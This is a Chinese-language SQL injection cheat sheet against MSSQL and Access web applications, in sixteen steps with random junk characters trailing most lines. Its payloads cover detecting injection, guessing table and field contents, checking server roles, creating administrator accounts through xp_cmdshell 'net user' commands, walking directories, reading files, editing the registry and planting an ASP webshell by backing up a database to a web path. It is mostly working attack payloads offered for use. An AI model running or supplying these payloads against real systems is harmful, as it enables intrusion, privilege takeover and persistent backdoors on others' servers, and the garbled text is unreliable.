1.判断是否有注入;and 1=1 ;and 1=2 w;v7_
2.初步判断是否是mssql ;and user>0 wB>r(xQ'
{A|TowBN
3.注入参数是字符'and [查询条件] and ''=' Z`3ufXPNlO
1{_A:<VBl
4.搜索时没过滤参数的'and [查询条件] and '%25'=' \Ep0J $ #o
#}^-C&~
5.判断数据库系统 #E0t?:t5bk
b%f[p/no
;and (select count(*) from sysobjects)>0 mssql kX:tc
n]+W 3[i
;and (select count(*) from msysobjects)>0 access ^w~23g.
qz4^{
CXtU"X
t?nX=i*~]
6.猜数据库 ;and (select Count(*) from [数据库名])>0 |lH;Fq{\
j'i0*"x
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ZtVAEIZ)
G,= yc@uq
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 :ug4g6;#H0
9dh>l!2
9.(1)猜字段的ascii值(access) (J"T]-[
I|$
RJkD
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 }B7K@Wu#
|_u8mV
(2)猜字段的ascii值(mssql) ^7]"kg DA
Ff^@~X+W<
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 g/=K.
G= ^X1+_
10.测试权限结构(mssql) ,a?\MM9$
1p`+
/9yaW7w
S'~o,`xy
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- <*H^(0
uR6w|e`
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- t]1ubt2W
T2?HRx
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- f^e6<5gdf
^5=UK7e5KY
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- sM1RU
EPW7+Ve
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- c':ezEaC
o
A*G
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- g=}v>[k E
J` {6l
;and 1=(select IS_MEMBER('db_owner'));-- [=*E+Oc
Bqws!RM'&@
rg(lCL&:S
wxLXh6|6%_
11.添加mssql和系统的帐户 6`\]derSon
y%]8'q$
;exec master.dbo.sp_addlogin username;-- a=GM[{og
;exec master.dbo.sp_password null,username,password;-- "%8A:^1
B6Ej{q^k,
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ~fz[x 9\
*5%*|>
;exec master.dbo.xp_cmdshell 'net user username password vjViX<#(V
puJ#w1!x`
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- !/K8xD$
151tXSzLT
;exec master.dbo.xp_cmdshell 'net user username password /add';-- "fQRk
x2|6
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- P4
ul[zZ
,gnQa
RK9>dkW
O}Ui`eWU
12.(1)遍历目录 [_y@M
]
]6tkEyuq
;create table dirs(paths varchar(100), id int) tqOi
x/
4aZCFdc
;insert dirs exec master.dbo.xp_dirtree 'c:\' c(-Mc6
xSpC'"
;and (select top 1 paths from dirs)>0 k7_I$<YDj
Z#`0txCF
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) SP
2 8
guN4-gGDr<
c)C 5KaiPG
;i#LIHJ
(2)遍历目录 \9)[#Ld
Mj0Cat=
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- p}]q d4j
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 >', y
;kaHN;4?
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 {7Cx#Ewd
>e5zrgV
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Q 882B1H
r
-f
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 0rMqWP
.")b?#K
PB~_I=
/L)
9tt.
13.mssql中的存储过程 MQcE6)
5{>0eFzG
xp_regenumvalues 注册表根键, 子键 0yof u
i%(yk#=V
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 J;~|ph
(b/d0HCND
xp_regread 根键,子键,键值名 MM#cLw
` DCU>bt&R
;exec xp_regread 0V11#
_=`x])mM
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 % mn />
4sY[az
xp_regwrite 根键,子键, 值名, 值类型, 值 _[E \=
c]Unbm^w
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 y{rn-?`{
:B#EqeI
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 5ouQQ)vA
M|CrBJv+F
xp_regdeletevalue 根键,子键,值名 +80 2`eax
I{n;4?
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 (:?&G9k
"
.K9l*-e[=
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 A|vP$zy
~"mj;5Id
:4;S"p
Vq}r_#!Q
14.mssql的backup创建webshell vj3isI4lU
jKt-~:
use model }K8Lm-.=
[,7-w
create table cmd(str image); u( 9X
Pf8u/?/
insert into cmd(str) values (''); agY5Dg7
+Jw{qQR/*
backup database model to disk='c:\l.asp'; _W9&J&l0so
G.ud1,S#
b?k4InXh
S8*> kM'
15.mssql内置函数 [2H[5<tH
)VY10R)$
;and (select @@version)>0 获得Windows的版本号 56ZrCr
R92R}=G!
;and user_name()='dbo' 判断当前系统的连接用户是不是sa YKq0f=Ij
7:kCb[ji"
;and (select user_name())>0 爆当前系统的连接用户 .Cfp'u%\;
\1{_lynD
;and (select db_name())>0 得到当前连接的数据库 6H6Law!)
E!dp~RwZu
sy.:T]ZH
28+HKbgK
16.简洁的webshell x:C@)CAr
V g6S/-
use model KT=a(QL
h&$Py
create table cmd(str image); S| "TP\o
D8 wG!X
insert into cmd(str) values (''); AgCs;k&IG
(k#t}B[
backup database model to disk='g:\wwwtest\l.asp';